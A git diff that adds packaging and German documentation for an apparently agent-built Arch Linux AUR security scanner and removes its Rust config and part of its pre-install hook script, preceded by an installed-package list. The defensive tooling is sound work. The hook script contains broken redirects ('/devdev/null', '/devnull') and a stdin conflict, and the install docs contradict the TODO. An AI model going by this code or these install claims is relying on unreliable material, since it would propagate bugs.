vlc-plugin-chromecast-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dav1d-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dbus-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dbus-screensaver-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dca-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dvb-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-dvd-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-faad2-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-ffmpeg-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-firewire-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-flac-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-fluidsynth-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-freetype-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-gme-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-gnutls-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-gstreamer-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-inflate-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-jack-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-journal-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-jpeg-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-kate-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-libsecret-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-lirc-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-live555-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-lua-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-mad-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-matroska-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-mdns-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-modplug-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-mpeg2-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-mpg123-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-mtp-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-musepack-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-nfs-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-notify-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-ogg-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-opus-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-png-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-pulse-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-samplerate-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-sdl-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-sftp-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-shout-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-smb-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-soxr-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-speex-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-srt-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-svg-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-tag-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-theora-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-twolame-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-udev-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-upnp-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-vorbis-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-vpx-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-x264-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-x265-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-xml-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugin-zvbi-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugins-all-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugins-base-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugins-extra-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugins-video-output-3.0.23_2-7.1-x86_64_v4 +installed = vlc-plugins-visualization-3.0.23_2-7.1-x86_64_v4 +installed = vmaf-3.1.0-1.1-x86_64_v4 +installed = vmpk-0.9.2-1.1-x86_64_v4 +installed = volume_key-0.3.12-12.1-x86_64_v4 +installed = vortex-1:2.0.2-1-x86_64 +installed = vpnc-1:0.5.3.r557.r241-1.1-x86_64_v4 +installed = vte-common-0.84.0-1.2-x86_64_v4 +installed = vte3-0.84.0-1.2-x86_64_v4 +installed = vtk-9.6.2-1.1-x86_64_v4 +installed = vulkan-icd-loader-1.4.350.0-1.1-x86_64_v4 +installed = vulkan-intel-2:26.1.2-1-x86_64 +installed = vulkan-mesa-implicit-layers-2:26.1.2-1-x86_64 +installed = vulkan-mesa-layers-2:26.1.2-1-x86_64 +installed = vulkan-radeon-2:26.1.2-1-x86_64 +installed = vulkan-tools-1.4.350.0-1.1-x86_64_v4 +installed = vulscan-2.1-1-any +installed = waterfox-bin-1:6.6.14-1-x86_64 +installed = wavpack-5.9.0-1.1-x86_64_v4 +installed = wayland-1.25.0-1.1-x86_64_v4 +installed = wayland-protocols-1.49-1-any +installed = wayland-utils-1.3.0-1.1-x86_64_v4 +installed = waylandpp-1.0.1-1.1-x86_64_v4 +installed = waypipe-0.11.0-1.1-x86_64_v4 +installed = webkit2gtk-4.1-2.52.4-1-x86_64 +installed = webrtc-audio-processing-2.1-8.1-x86_64_v4 +installed = webrtc-audio-processing-0.3-0.3.1-6.1-x86_64_v4 +installed = webrtc-audio-processing-1-1.3-5.2-x86_64_v4 +installed = welcome-26.6.1-1-any +installed = weston-15.0.1-3.1-x86_64_v4 +installed = wget-1.25.0-5.1-x86_64_v4 +installed = whdd-3.1-1-x86_64 +installed = which-2.25-1.1-x86_64_v4 +installed = wildmidi-0.4.6-1.1-x86_64_v4 +installed = wimlib-1.14.5-2.1-x86_64_v4 +installed = winboat-bin-0.9.0-1-x86_64 +installed = winbox-4.1-1-x86_64 +installed = wine-gecko-2.47.4-2-x86_64 +installed = wine-mono-11.1.0-1.1-x86_64_v4 +installed = wine-staging-11.11-1.1-x86_64_v4 +installed = winetricks-20260125-2-any +installed = wireplumber-0.5.14-1.1-x86_64_v4 +installed = wireshark-cli-4.7.1-1-x86_64 +installed = wireshark-qt-4.7.1-1-x86_64 +installed = woff2-1.0.2-6.1-x86_64_v4 +installed = wolfssl-5.9.1-1-x86_64 +installed = wpa_supplicant-2:2.11-5.1-x86_64_v4 +installed = wxwidgets-common-3.2.10-2-x86_64 +installed = wxwidgets-gtk3-3.2.10-2-x86_64 +installed = x264-3:0.165.r3222.b35605a-2.5-x86_64_v4 +installed = x265-4.1-1.2-x86_64_v4 +installed = x86_energy_perf_policy-7.0.10-1-x86_64 +installed = xapian-core-1:2.0.0-2.1-x86_64_v4 +installed = xboxdrv-0.8.14-1-x86_64 +installed = xcb-proto-1.17.0-4-any +installed = xcb-util-0.4.1-2.1-x86_64_v4 +installed = xcb-util-cursor-0.1.6-1.1-x86_64_v4 +installed = xcb-util-errors-1.0.1-2.1-x86_64_v4 +installed = xcb-util-image-0.4.1-3.1-x86_64_v4 +installed = xcb-util-keysyms-0.4.1-5.1-x86_64_v4 +installed = xcb-util-renderutil-0.3.10-2.1-x86_64_v4 +installed = xcb-util-wm-0.4.2-2.1-x86_64_v4 +installed = xclicker-1.5.1-1-x86_64 +installed = xdg-dbus-proxy-0.1.7-1.1-x86_64_v4 +installed = xdg-desktop-portal-1.22.0-1.1-x86_64_v4 +installed = xdg-desktop-portal-cosmic-git-1.0.15.r0.g297e1c6-1-x86_64 +installed = xdg-desktop-portal-gtk-1.15.3-1.1-x86_64_v4 +installed = xdg-desktop-portal-kde-6.6.5-1.1-x86_64_v4 +installed = xdg-user-dirs-0.20-1.1-x86_64_v4 +installed = xdg-utils-1.2.1-2-any +installed = xdotool-4.20260303.1-1.1-x86_64_v4 +installed = xf86-input-libinput-1.5.0-1.2-x86_64_v4 +installed = xf86-video-amdgpu-25.0.0-1.1-x86_64_v4 +installed = xf86-video-ati-1:22.0.0-3.1-x86_64_v4 +installed = xf86-video-intel-1:2.99.917+939+g4a64400e-1.1-x86_64_v4 +installed = xfsprogs-7.0.1-1.1-x86_64_v4 +installed = xkeyboard-config-2.47-1-any +installed = xl2tpd-1.3.20-1.1-x86_64_v4 +installed = xmlsec-1.3.11-1.1-x86_64_v4 +installed = xmlto-0.0.29-1.1-x86_64_v4 +installed = xorg-fonts-encodings-1.1.0-2-any +installed = xorg-server-21.1.23-1.1-x86_64_v4 +installed = xorg-server-common-21.1.23-1.1-x86_64_v4 +installed = xorg-server-devel-21.1.23-1.1-x86_64_v4 +installed = xorg-server-xvfb-21.1.23-1.1-x86_64_v4 +installed = xorg-setxkbmap-1.3.5-1.1-x86_64_v4 +installed = xorg-util-macros-1.20.2-1-any +installed = xorg-xauth-1.1.5-1.1-x86_64_v4 +installed = xorg-xdpyinfo-1.4.0-1.1-x86_64_v4 +installed = xorg-xhost-1.0.10-1.2-x86_64_v4 +installed = xorg-xinit-1.4.4-1.1-x86_64_v4 +installed = xorg-xinput-1.6.4-2.1-x86_64_v4 +installed = xorg-xkbcomp-1.5.0-1.1-x86_64_v4 +installed = xorg-xkill-1.0.7-1.1-x86_64_v4 +installed = xorg-xmessage-1.0.7-2.1-x86_64_v4 +installed = xorg-xmodmap-1.0.11-2.2-x86_64_v4 +installed = xorg-xprop-1.2.8-1.1-x86_64_v4 +installed = xorg-xrandr-1.5.4-1.1-x86_64_v4 +installed = xorg-xrdb-1.2.2-2.1-x86_64_v4 +installed = xorg-xset-1.2.5-2.1-x86_64_v4 +installed = xorg-xsetroot-1.1.3-2.2-x86_64_v4 +installed = xorg-xwayland-24.1.12-1.1-x86_64_v4 +installed = xorg-xwininfo-1.1.6-2.1-x86_64_v4 +installed = xorgproto-2025.1-1-any +installed = xorgxrdp-glamor-0.10.5-1-x86_64 +installed = xr-hardware-1.1.1-1-any +installed = xsettingsd-1.0.2-3.1-x86_64_v4 +installed = xvidcore-1.3.7-3.1-x86_64_v4 +installed = xwaylandvideobridge-0.4.0-3-x86_64 +installed = xxhash-0.8.3-1-x86_64 +installed = xz-5.8.3-2-x86_64_v4 +installed = yad-14.2-1.1-x86_64_v4 +installed = yaml-cpp-0.9.0-1.1-x86_64_v4 +installed = yara-4.5.7-1.1-x86_64_v4 +installed = yarn-1.22.22-2-any +installed = yay-12.6.0-1-x86_64 +installed = youtube-dl-2021.12.17-5-any +installed = yt-dlg-1.8.5-1-any +installed = yt-dlp-2026.06.09-1-any +installed = yt-dlp-ejs-0.8.0-1-any +installed = yubikey-manager-1:5.9.1-1-any +installed = yubikey-manager-qt-1.2.5-2-x86_64 +installed = zbar-0.23.93-5.1-x86_64_v4 +installed = zenity-4.2.2-1.1-x86_64_v4 +installed = zenmap-7.99-2.1-x86_64_v4 +installed = zeromq-4.3.5-3.1-x86_64_v4 +installed = zimg-3.0.6-1.1-x86_64_v4 +installed = zint-2.16.0-2.1-x86_64_v4 +installed = zip-3.0-13.1-x86_64_v4 +installed = zix-0.8.2-1.1-x86_64_v4 +installed = zlib-ng-2.3.3-2-x86_64_v4 +installed = zlib-ng-compat-2.3.3-2-x86_64_v4 +installed = zsh-5.9.1-1.1-x86_64_v4 +installed = zsh-autosuggestions-0.7.1-1-any +installed = zsh-completions-0.36.0-1-any +installed = zsh-doc-5.9.1-1.1-x86_64_v4 +installed = zsh-syntax-highlighting-0.8.0-2-any +installed = zstd-1.5.7-5-x86_64_v4 +installed = zvbi-0.2.44-1.1-x86_64_v4 +installed = zxing-cpp-3.0.2-1.1-x86_64_v4 diff --git a/pkg/aegisaur/.MTREE b/pkg/aegisaur/.MTREE new file mode 100644 index 0000000..bf704b5 Binary files /dev/null and b/pkg/aegisaur/.MTREE differ diff --git a/pkg/aegisaur/.PKGINFO b/pkg/aegisaur/.PKGINFO new file mode 100644 index 0000000..0af64ca --- /dev/null +++ b/pkg/aegisaur/.PKGINFO @@ -0,0 +1,16 @@ +# Generated by makepkg 7.1.0 +# using fakeroot version 1.37.2 +pkgname = aegisaur +pkgbase = aegisaur +xdata = pkgtype=pkg +pkgver = 0.1.0-1 +pkgdesc = Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete +url = https://gitea.die-heimatlosen.eu/arch_agent/aegisaur +builddate = 1781539210 +packager = Unknown Packager +size = 5620877 +arch = x86_64 +license = MIT +depend = pacman +makedepend = rust +makedepend = cargo diff --git a/pkg/aegisaur/usr/bin/aegisaur b/pkg/aegisaur/usr/bin/aegisaur new file mode 100755 index 0000000..a0a6358 Binary files /dev/null and b/pkg/aegisaur/usr/bin/aegisaur differ diff --git a/pkg/aegisaur/usr/share/doc/aegisaur/INSTALL.md b/pkg/aegisaur/usr/share/doc/aegisaur/INSTALL.md new file mode 100644 index 0000000..69c99e2 --- /dev/null +++ b/pkg/aegisaur/usr/share/doc/aegisaur/INSTALL.md @@ -0,0 +1,84 @@ +# 📦 Installation Guide + +## Schnellstart + +```bash +# Als AUR-Paket installieren (empfohlen) +makepkg -si PKGBUILD + +# Oder systemweit nach /usr/local/bin +sudo cp target/release/aegisaur /usr/local/bin/ +sudo chmod +x /usr/local/bin/aegisaur + +# Oder symbolischer Link +sudo ln -s $(pwd)/target/release/aegisaur /usr/local/bin/aegisaur +``` + +## Eigenes AUR-Repository + +### Pfad auf Gitea +``` +https://gitea.die-heimatlosen.eu/arch_agent/aegisaur +``` + +### Installation (empfohlen) + +```bash +cd /home/arch_agent_system/.openclaw/workspace/aegisaur +makepkg -si +``` + +### Alternative: Git-Clone + Build + +```bash +git clone https://gitea.die-heimatlosen.eu/arch_agent/aegisaur.git +cd aegisaur +cargo build --release +sudo cp target/release/aegisaur /usr/local/bin/ +sudo aegisaur install-hook +``` + +### ⚠️ Pacman-Repo Hinweis + +> Ein pacman-Remote (`[aegisaur]` in pacman.conf) braucht eine `.db` Datei, die Gitea nicht automatisch bereitstellt. Nutze stattdessen `makepkg` oder den Release-Download. + +### Release-Download (Fallback) + +```bash +curl -LO https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/releases/download/v0.1.0/aegisaur-0.1.0-x86_64.tar.gz +tar xzf aegisaur-0.1.0-x86_64.tar.gz +sudo install -Dm755 aegisaur /usr/bin/aegisaur +``` + +## ALPM-Hook (systemweit) + +```bash +# Installiert Hook nach /usr/share/libalpm/hooks/ +sudo aegisaur install-hook + +# Deinstalliert Hook +sudo aegisaur remove-hook +``` + +## Konfiguration + +```bash +# Erstellt ~/.config/aegisaur/config.toml +aegisaur config + +# Beispiel-Config kopieren +cp /usr/share/aegisaur/config.example.toml ~/.config/aegisaur/config.toml +``` + +## Pfad-Übersicht + +| Komponente | Pfad | +|------------|------| +| Binary | `/usr/bin/aegisaur` | +| ALPM-Hook | `/usr/share/libalpm/hooks/99-aegisaur.hook` | +| Hook-Script | `/usr/share/libalpm/hooks/aegisaur-check.sh` | +| Dokumentation | `/usr/share/doc/aegisaur/` | +| Config | `~/.config/aegisaur/config.toml` | +| Cache | `~/.cache/aegisaur/` | +| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` | +| Gitea-Repo | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` | diff --git a/pkg/aegisaur/usr/share/doc/aegisaur/README.md b/pkg/aegisaur/usr/share/doc/aegisaur/README.md new file mode 100644 index 0000000..57bfb79 --- /dev/null +++ b/pkg/aegisaur/usr/share/doc/aegisaur/README.md @@ -0,0 +1,82 @@ +# AegisAUR 👻 + +Trust-Scoring + IOC-Scanner für Arch Linux AUR-Pakete. + +Automatisierter Schutz gegen Supply-Chain-Angriffe wie **Atomic Arch**. + +## Features + +- 🔍 **Live IOC-Abfrage** - Holt aktuelle Threat-Intelligence von Community-Quellen +- 🛡️ **Trust-Scoring** - Analysiert PKGBUILDs auf verdächtige Muster +- ⚡ **ALPM-Hook** - Automatischer Pre-Install-Scan +- 📊 **Detallierte Reports** - JSON-Output für Automatisierung +- 🔴 **Kritische Alerts** - Sofortige Warnung bei IOC-Matches + +## Installation + +### Aus AUR + +```bash +yay -S aegisaur +# oder +paru -S aegisaur +``` + +### Manuel + +```bash +cargo install aegisaur +sudo aegisaur install-hook +``` + +## Verwendung + +### Einzelnes Paket scannen + +```bash +aegisaur scan paketname +``` + +### Alle installierten AUR-Pakete scannen + +```bash +aegisaur scan-all +``` + +### IOC-Check (wie `aurvulntest`) + +```bash +aegisaur check-ioc +``` + +### ALPM-Hook installieren + +```bash +sudo aegisaur install-hook +``` + +## IOC-Quellen + +Alle Quellen sind **ohne Authentifizierung** erreichbar: + +- [Atomic Arch Gist](https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14) +- [AUR Community Blocklist](https://github.com/Kidev/AUR-Blocklist) +- [Arch Security Advisories](https://security.archlinux.org) + +## Trust-Scoring Kategorien + +| Kategorie | Gewichtung | Beschreibung | +|-----------|-----------|--------------| +| Shell-Script | 40% | Analyse von PKGBUILD als Shell-Script | +| Source-URL | 20% | Verifizierung der Herkunft | +| Checksums | 20% | Qualität der Prüfsummen | +| Maintainer | 20% | Heuristiken zum Maintainer | + +## Lizenz + +MIT - © 2026 Quasi & Thuumate 👻 + +## Links + +- Gitea: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur +- Issues: https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues \ No newline at end of file diff --git a/pkg/aegisaur/usr/share/doc/aegisaur/TODO.md b/pkg/aegisaur/usr/share/doc/aegisaur/TODO.md new file mode 100644 index 0000000..ce6d555 --- /dev/null +++ b/pkg/aegisaur/usr/share/doc/aegisaur/TODO.md @@ -0,0 +1,36 @@ +# AegisAUR - TODO & Roadmap + +## ✅ Abgeschlossen (v0.1.0) + +- [x] Projekt-Scaffolding (Rust/Cargo) +- [x] IOC-Fetcher Modul (live Abfrage, keine Auth) +- [x] Trust-Scoring Engine (12 Heuristiken) +- [x] Package Scanner (Orchestration) +- [x] ALPM-Hook Integration +- [x] CLI-Interface (scan, check-ioc, allow, deny, config, install-hook) +- [x] Gitea-Repo erstellt & gepusht + +## 🔨 In Arbeit (v0.1.1) + +- [ ] `cargo build` testen und fixen +- [ ] Unit-Tests ergänzen +- [ ] PKGBUILD für AUR-Release erstellen +- [ ] Desktop-Notifications (notify-send Integration) +- [ ] Systemd-Timer für regelmäßige Scans + +## 🗓️ Geplant (v0.2.0) + +- [ ] GUI/Web-Dashboard (optional) +- [ ] Integration mit `aurutils`/`paru`/`yay` als Wrapper +- [ ] Historical Tracking (Score-Änderungen über Zeit) +- [ ] Community-Whitelist Sharing +- [ ] AUR Vote/Power Factor in Scoring + +## 🐛 Bekannte Bugs + +1. **Gitea API Cache:** Einige Dateien erscheinen nicht in der API-Antwort, sind aber im Git Tree (UI-Bug, kein Datenverlust) +2. **Docker-Instabilität:** Gitea-Server hatte Restart-Probleme + +## 📝 MEMORY.md Update + +Siehe MEMORY.md - Eintrag vom [2026-06-15] diff --git a/pkg/aegisaur/usr/share/doc/aegisaur/USAGE.md b/pkg/aegisaur/usr/share/doc/aegisaur/USAGE.md new file mode 100644 index 0000000..887add0 --- /dev/null +++ b/pkg/aegisaur/usr/share/doc/aegisaur/USAGE.md @@ -0,0 +1,129 @@ +# 📖 AegisAUR Usage Guide + +## Befehls-Übersicht + +```bash +# Einzelnes Paket scannen +aegisaur scan [--verbose] + +# Alle AUR-Pakete scannen +aegisaur scan-all [--verbose] + +# IOC-Check (wie aurvulntest) +aegisaur check-ioc [--list atomicarch|all] + +# Whitelist-Verwaltung +aegisaur allow +aegisaur deny + +# System-Konfiguration +aegisaur config +aegisaur cache + +# ALPM-Hook (root nötig) +sudo aegisaur install-hook +sudo aegisaur remove-hook +``` + +## Beispiel-Workflows + +### Vor Installation eines AUR-Pakets +```bash +# 1. Scannen +aegisaur scan neues-paket + +# 2. Wenn IOC erkannt → NICHT installieren +# 3. Wenn verdächtig → PKGBUILD prüfen +# 4. Wenn OK → installieren (mit Hook automatisch) + +yay -S neues-paket # Hook scannt automatisch +``` + +### Regelmäßige Checks +```bash +# Alle 48h (via cron/systemd) +aegisaur check-ioc +``` + +### Volle Systemprüfung +```bash +# Alle AUR-Pakete scannen + IOC-Listen checken +aegisaur scan-all && aegisaur check-ioc +``` + +## Exit Codes + +| Code | Bedeutung | +|------|-----------| +| 0 | Erfolg | +| 1 | Allgemeiner Fehler | +| 2 | IOC erkannt / Kritisch | +| 3 | Scan-Fehler | + +## Konfiguration + +```toml +# ~/.config/aegisaur/config.toml +[settings] +auto_check_iocs = true +auto_check_pkgbuild = true +ioc_cache_ttl_minutes = 60 +warning_threshold = 60 +critical_threshold = 30 +block_install_on_critical = false +block_install_on_ioc = true +notify_desktop = true + +[sources.atomic_arch] +name = "Atomic Arch Gist" +url = "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw" +enabled = true + +[sources.community] +name = "AUR Community Blocklist" +url = "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt" +enabled = true +``` + +## Wichtige Pfade + +| Zweck | Lokaler Pfad | Gitea URL | +|-------|-------------|-----------| +| Quellcode | `/home/arch_agent_system/.openclaw/workspace/aegisaur/` | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur` | +| Binary (Release) | `target/release/aegisaur` | Releases Tab | +| PKGBUILD | `./PKGBUILD` | Raw view | +| Dokumentation | `./README.md`, `./USAGE.md` | Wiki/Raw | +| Issues/Feedback | - | `https://gitea.die-heimatlosen.eu/arch_agent/aegisaur/issues` | + +## Troubleshooting + +### Hook funktioniert nicht +```bash +# Rechte prüfen +ls -la /usr/share/libalpm/hooks/aegisaur* + +# Manuell ausführen +sudo bash /usr/share/libalpm/hooks/aegisaur-check.sh +``` + +### Cache-Probleme +```bash +# Cache leeren +rm -rf ~/.cache/aegisaur/ + +# Neu befüllen +aegisaur check-ioc +``` + +### Netzwerk-Fehler +```bash +# Proxy-Config prüfen +env | grep -i proxy + +# Test-Request +curl -I https://gist.githubusercontent.com/Kidev/... +``` + +--- +*Built with ❤️ (and some 👻 magic)* +*Quasi & Thuumate — 2026* diff --git a/src/aegisaur b/src/aegisaur new file mode 160000 index 0000000..afc5db8 --- /dev/null +++ b/src/aegisaur @@ -0,0 +1 @@ +Subproject commit afc5db8d76b6c747724769d4a266253822eceb55 diff --git a/src/config.rs b/src/config.rs deleted file mode 100644 index 6434d1b..0000000 --- a/src/config.rs +++ /dev/null @@ -1,139 +0,0 @@ -use anyhow::{Context, Result}; -use serde::{Deserialize, Serialize}; -use std::collections::HashSet; -use std::path::PathBuf; -use tokio::fs; -use tracing::info; - -/// Konfiguration für AegisAUR -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct AegisConfig { - pub config_path: PathBuf, - pub cache_dir: PathBuf, - pub data_dir: PathBuf, - - // Scan-Settings - pub auto_check_iocs: bool, - pub auto_check_pkgbuild: bool, - pub ioc_cache_ttl_minutes: u64, - - // Thresholds - pub warning_threshold: u32, // Score unter diesem Wert = Warnung - pub critical_threshold: u32, // Score unter diesem Wert = Kritisch - - // Verhalten - pub block_install_on_critical: bool, - pub block_install_on_ioc: bool, - pub notify_desktop: bool, - - // Quellen - pub ioc_sources: Vec, - - // Whitelist - pub whitelisted_packages: HashSet, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub struct IocSource { - pub name: String, - pub url: String, - pub source_type: IocSourceType, - pub enabled: bool, -} - -#[derive(Debug, Clone, Serialize, Deserialize)] -pub enum IocSourceType { - Gist, - JsonApi, - TextList, - GitHubRelease, -} - -impl Default for AegisConfig { - fn default() -> Self { - let base_dirs = directories::ProjectDirs::from("eu", "heimatlosen", "aegisaur") - .expect("Konnte Projekt-Verzeichnisse nicht ermitteln"); - - let mut default_sources = vec![ - IocSource { - name: "Atomic Arch Gist".to_string(), - url: "https://gist.githubusercontent.com/Kidev/85756c3dcad3623ca5604a8135bafd14/raw".to_string(), - source_type: IocSourceType::TextList, - enabled: true, - }, - IocSource { - name: "AUR Community Blocklist".to_string(), - url: "https://raw.githubusercontent.com/Kidev/AUR-Blocklist/main/blocklist.txt".to_string(), - source_type: IocSourceType::TextList, - enabled: true, - }, - IocSource { - name: "Arch Security Advisories".to_string(), - url: "https://security.archlinux.org/advisories.json".to_string(), - source_type: IocSourceType::JsonApi, - enabled: true, - }, - ]; - - AegisConfig { - config_path: base_dirs.config_local_dir().join("config.toml"), - cache_dir: base_dirs.cache_dir().to_path_buf(), - data_dir: base_dirs.data_dir().to_path_buf(), - auto_check_iocs: true, - auto_check_pkgbuild: true, - ioc_cache_ttl_minutes: 60, - warning_threshold: 60, - critical_threshold: 30, - block_install_on_critical: false, - block_install_on_ioc: true, - notify_desktop: true, - ioc_sources: default_sources, - whitelisted_packages: HashSet::new(), - } - } -} - -impl AegisConfig { - /// Lädt Konfiguration oder erstellt Default - pub async fn load_or_default() -> Result { - let config_path = Self::default().config_path; - - if config_path.exists() { - info!("Lade Konfiguration von: {}", config_path.display()); - let content = fs::read_to_string(&config_path).await?; - let config: AegisConfig = toml::from_str(&content)?; - Ok(config) - } else { - info!("Erstelle Standard-Konfiguration..."); - let config = AegisConfig::default(); - config.save().await?; - Ok(config) - } - } - - /// Speichert Konfiguration - pub async fn save(&self) -> Result<()> { - let config_dir = self.config_path.parent().unwrap(); - fs::create_dir_all(config_dir).await?; - - let content = toml::to_string_pretty(self)?; - fs::write(&self.config_path, content).await?; - info!("Konfiguration gespeichert: {}", self.config_path.display()); - Ok(()) - } - - /// Fügt Quelle hinzu - pub fn add_source(&mut self, name: &str, url: &str, source_type: IocSourceType) { - self.ioc_sources.push(IocSource { - name: name.to_string(), - url: url.to_string(), - source_type, - enabled: true, - }); - } - - /// Entfernt Quelle - pub fn remove_source(&mut self, name: &str) { - self.ioc_sources.retain(|s| s.name != name); - } -} \ No newline at end of file diff --git a/src/hook.rs b/src/hook.rs deleted file mode 100644 index a6c6f75..0000000 --- a/src/hook.rs +++ /dev/null @@ -1,147 +0,0 @@ -use anyhow::{Context, Result}; -use std::io::Write; -use std::path::Path; -use tracing::{info, warn}; - -const ALPM_HOOK_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-pre-install.hook"; -const HOOK_SCRIPT_PATH: &str = "/usr/share/libalpm/hooks/aegisaur-check.sh"; - -/// Installiert den ALPM-Hook für Pre-Install-Checks -pub fn install_alpm_hook() -> Result<()> { - // Hook-Definition - let hook_content = r#"[Trigger] -Operation = Install -Operation = Upgrade -Type = Package -Target = * - -[Action] -Description = AegisAUR Security Scan -When = PreTransaction -Exec = /usr/share/libalpm/hooks/aegisaur-check.sh -NeedsTargets -AbortOnFail -"#; - - // Shell-Script, das aegisaur aufruft - let script_content = r#"#!/bin/bash -# AegisAUR Pre-Install Hook -# Prüft Pakete vor der Installation - -AUR_SCANNER="/usr/bin/aegisaur" -TMPFILE=$(mktemp) - -# Alle zu installierenden Pakete durch aegisaur prüfen -while read -r package; do - # Nur AUR-Pakete prüfen (Foreign packages) - if pacman -Qi "$package" >/devdev/null 2>&1; then - # Paket ist bereits installiert (Upgrade) - continue - fi - - # Prüfe ob es ein AUR/Foreign Paket ist - if pacman -Si "$package" >/dev/null 2>&1; then - # Offizielles Repo-Paket, immer OK - continue - fi - - # AUR Paket gefunden - scanne es - if [[ -x "$AUR_SCANNER" ]]; then - RESULT=$($AUR_SCANNER scan "$package" --json 2>/devnull) - SCORE=$(echo "$RESULT" | grep -oP '"score":\s*\K\d+') - STATUS=$(echo "$RESULT" | grep -oP '"status":\s*"\K[^"]+') - - if [[ "$STATUS" == "IOCDetected" ]] || [[ "$STATUS" == "Dangerous" ]]; then - echo "" - echo "╔════════════════════════════════════════════════════════════════╗" - echo "║ 🚨 AEGISAUR SECURITY ALERT 🚨 ║" - echo "╚════════════════════════════════════════════════════════════════╝" - echo "" - echo "Paket: $package" - echo "Status: $STATUS" - echo "Score: $SCORE/100" - echo "" - echo "⚠️ DIESES PAKET IST ALS GEFÄHRLICH EINGESTUFT!" - echo "" - echo "Möchtest du die Installation abbrechen? (Ja/Nein)" - read -r response - if [[ "$response" =~ ^[Jj]([Aa]|$) ]]; then - echo "Installation abgebrochen." - rm -f "$TMPFILE" - exit 1 - fi - echo "WARNUNG: Installation wird fortgesetzt auf eigenes Risiko!" - echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE" - elif [[ "$STATUS" == "Suspicious" ]] || [[ "$STATUS" == "Warning" ]]; then - echo "" - echo "⚠️ AegisAUR Warnung für $package: $STATUS (Score: $SCORE/100)" - echo "$package ($STATUS - Score: $SCORE)" >> "$TMPFILE" - fi - fi -done - -# Zusammenfassung anzeigen falls Warnungen vorhanden -if [[ -s "$TMPFILE" ]]; then - echo "" - echo "╔══════════════════════════════════════════════════════════════╗" - echo "║ AegisAUR Scan Zusammenfassung ║" - echo "╚══════════════════════════════════════════════════════════════╝" - cat "$TMPFILE" - echo "" -fi - -rm -f "$TMPFILE" -exit 0 -"#; - - // Hook-Datei schreiben - info!("Schreibe ALPM Hook: {}", ALPM_HOOK_PATH); - let mut hook_file = std::fs::File::create(ALPM_HOOK_PATH) - .context("Konnte ALPM Hook nicht erstellen (Root-Rechte nötig)")?; - 